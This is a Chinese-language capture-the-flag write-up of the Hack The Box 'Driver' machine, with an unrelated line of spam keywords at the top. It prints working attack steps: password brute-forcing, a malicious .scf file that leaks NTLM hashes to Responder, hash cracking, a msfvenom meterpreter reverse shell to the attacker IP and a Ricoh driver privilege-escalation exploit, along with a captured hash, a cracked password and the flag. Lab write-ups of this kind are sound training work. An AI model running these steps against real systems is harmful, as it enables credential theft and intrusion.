网上做任务佣金高的网站,良品铺子网站制作,专业企业网站开发公司,wordpress 获取子类目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用smbclient尝…目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用smbclient尝试root用户空密码登录靶机SMB服务
边界突破
使用浏览器访问靶机80端口
使用Yakit抓取请求包
仿照该凭证格式使用字典尝试爆破密码
使用上述凭证通过该页面认证后进入面板
尝试上传.scf文件利用SMB反射获取用户凭证
使用responder开始欺骗及监听客户端
将该哈希值写入文件以便爆破
使用john对该哈希文件进行字典爆破
使用evil-winrm通过上述凭证登录靶机Win-RM服务
权限提升
查看靶机C盘根目录
查看靶机系统内用户
查看当前用户账户信息
查看当前用户权限信息
查看当前用户PS历史记录
查找该驱动所在目录路径 使用大模型搜索该驱动是否存在提权漏洞
使用searchsploit搜索该漏洞
使用msfvenom生成Payload
将该Payload上传至靶机中
启动Metasploit
检索该漏洞模块 连接至HTB服务器并启动靶机 靶机IP10.10.11.106 分配IP10.10.16.13 信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.106 -r 1-65535 --ulimit 5000 | tee res 将靶机TCP开放端口号提取并保存
ports$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,) ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# grep ^[0-9] res | cut -d/ -f1 | paste -sd, 80,135,445,5985 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# ports$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,) ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# echo $ports 80,135,445,5985 使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.11.106 需要重点关注的端口和服务 80端口IIS服务 445端口SMB服务 5985端口Win-RM服务 使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --scriptvuln -O -Pn 10.10.11.106 使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.106 使用smbclient尝试root用户空密码登录靶机SMB服务
smbclient -L \\10.10.11.106 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# smbclient -L \\10.10.11.106 Password for [WORKGROUP\root]: session setup failed: NT_STATUS_ACCESS_DENIED 边界突破
使用浏览器访问靶机80端口
提示需要用户名和密码 使用Yakit抓取请求包
其中请求头中的Authorization参数用于发送凭证 对Basic后的字符串进行解码 仿照该凭证格式使用字典尝试爆破密码 Authorization: Basic YWRtaW46YWRtaW4 Base64解码后 账户admin 密码admin 将靶机IP与主域名进行绑定使DNS从本地解析
sed -i 1i 10.10.11.106 driver.htb /etc/hosts ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# sed -i 1i 10.10.11.106 driver.htb /etc/hosts ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# head -n1 /etc/hosts 10.10.11.106 driver.htb 使用上述凭证通过该页面认证后进入面板
这里不知道为啥加载出来是这样的反正也是转了半天 点击左上角的Firmware Updates进入固件更新页该页允许文件上传 该页面中存在描述Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon. 翻译选择打印机型号并将相应的固件更新上传到我们的文件共享。我们的测试团队将手动审查上传并尽快启动测试。 因此从这里上传的所有文件应当都会保存在靶机SMB服务器中换句话说通过该页面我们拥有了向靶机SMB服务器写入文件的权限
尝试上传.scf文件利用SMB反射获取用户凭证 基于SCF文件的SMB中继攻击攻击者上传精心构造的恶意.scf文件到SMB服务器共享目录用户浏览该目录时系统自动解析.scf文件触发向恶意服务器的访问请求进而以用户身份发送NTLMv2认证请求攻击者截获并获取该用户的NTLMv2凭证 。 构造一个恶意的.scf文件
[Shell]
Command2
IconFile\\10.10.16.13\test
使用responder开始欺骗及监听客户端
responder -wv -I tun0
选择文件后点击Submit开始上传 攻击机responder收到回显 tony用户哈希值
tony::DRIVER:cc7a5be9edf57e2b:B00C7598710E1FEB3662800CB261B7F3:0101000000000000009AE12B6165DB0140FB9FA2F3FF07460000000002000800420050005000370001001E00570049004E002D004100530034003900330053004C004C0046004300390004003400570049004E002D004100530034003900330053004C004C004600430039002E0042005000500037002E004C004F00430041004C000300140042005000500037002E004C004F00430041004C000500140042005000500037002E004C004F00430041004C0007000800009AE12B6165DB010600040002000000080030003000000000000000000000000020000092420DE18E3028DCAC604904C0367CAEF10C3B61D875F7E0ADB1D86EE62E88D90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000
将该哈希值写入文件以便爆破
echo tony::DRIVER:cc7a5be9edf57e2b:B00C7598710E1FEB3662800CB261B7F3:0101000000000000009AE12B6165DB0140FB9FA2F3FF07460000000002000800420050005000370001001E00570049004E002D004100530034003900330053004C004C0046004300390004003400570049004E002D004100530034003900330053004C004C004600430039002E0042005000500037002E004C004F00430041004C000300140042005000500037002E004C004F00430041004C000500140042005000500037002E004C004F00430041004C0007000800009AE12B6165DB010600040002000000080030003000000000000000000000000020000092420DE18E3028DCAC604904C0367CAEF10C3B61D875F7E0ADB1D86EE62E88D90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000 hash
使用john对该哈希文件进行字典爆破
john hash --wordlist../dictionary/rockyou.txt 账户tony 密码liltony 使用evil-winrm通过上述凭证登录靶机Win-RM服务
evil-winrm -i 10.10.11.106 -u tony -p liltony 在C:\Users\tony\Desktop目录下找到user.txt文件 权限提升
查看靶机C盘根目录 可见存在两个Program Files目录因此靶机系统大概率为64位系统
查看靶机系统内用户
net user 靶机系统内普通权限用户仅有该用户
查看当前用户账户信息
net user tony 该用户没有加入特殊权限组
查看当前用户权限信息
whoami /priv 没有可利用的特权
查看当前用户PS历史记录
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt *Evil-WinRM* PS C:\Users\tony\Desktop type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt Add-Printer -PrinterName RICOH_PCL6 -DriverName RICOH PCL6 UniversalDriver V4.23 -PortName lpt1: ping 1.1.1.1 ping 1.1.1.1 Powershell历史记录中第一条命令整体功能为向系统添加一个打印机其中驱动完整名称RICOH PCL6 UniversalDriver V4.23
查找该驱动所在目录路径
cmd /c dir /s /ad RICOH PCL6 UniversalDriver V4.23 该驱动所在位置C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23 使用大模型搜索该驱动是否存在提权漏洞 使用searchsploit搜索该漏洞
searchsploit --cve 2019-19363 由输出可见该漏洞集成于MSF中
使用msfvenom生成Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST10.10.16.13 LPORT1425 -f exe shell.exe ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST10.10.16.13 LPORT1425 -f exe shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7168 bytes 将该Payload上传至靶机中
upload shell.exe 启动Metasploit
msfconsole
切换到监听模块
use exploit/multi/handler
配置好选项LHOST、LPORT、PAYLOAD并开始监听 msf6 exploit(multi/handler) set LHOST 10.10.16.13 LHOST 10.10.16.13 msf6 exploit(multi/handler) set LPORT 1425 LPORT 1425 msf6 exploit(multi/handler) set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) run [*] Started reverse TCP handler on 10.10.16.13:1425 控制靶机运行Payload
.\shell.exe
攻击机MSF监听端收到回显 [*] Started reverse TCP handler on 10.10.16.13:1425 [*] Sending stage (203846 bytes) to 10.10.11.106 [*] Meterpreter session 1 opened (10.10.16.13:1425 - 10.10.11.106:49431) at 2025-01-13 04:44:35 -0500 meterpreter 列出靶机系统进程
ps 通过Session栏目判断为0则是系统进程为1则是用户进程。我尝试将Meterpreter迁移进用户进程explorer.exe中
migrate -N explorer.exe meterpreter migrate -N explorer.exe [*] Migrating from 4256 to 3260... [*] Migration completed successfully. 检索该漏洞模块
search 2019-19363 切换到该模块
use exploit/windows/local/ricoh_driver_privesc
列出该模块所需填写的选项
show options 此处需要配置好的选项LHOST、LPORT、PAYLOAD、SESSION msf6 exploit(windows/local/ricoh_driver_privesc) set LHOST 10.10.16.13 LHOST 10.10.16.13 msf6 exploit(windows/local/ricoh_driver_privesc) set LPORT 1426 LPORT 1426 msf6 exploit(windows/local/ricoh_driver_privesc) set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/local/ricoh_driver_privesc) set SESSION 1 SESSION 1 执行该模块
exploit 查找root.txt文件位置
search -f root.txt meterpreter search -f root.txt Found 1 result... Path Size (bytes) Modified (UTC) ---- ------------ -------------- c:\Users\Administrator\Desktop\root.txt 34 2025-01-13 05:55:59 -0500 查看root.txt文件内容 meterpreter shell Process 1876 created. Channel 2 created. Microsoft Windows [Version 10.0.10240] (c) 2015 Microsoft Corporation. All rights reserved. C:\Windows\system32type c:\Users\Administrator\Desktop\root.txt type c:\Users\Administrator\Desktop\root.txt 030cd5d04a90f1bd3c163e0bcd3280eb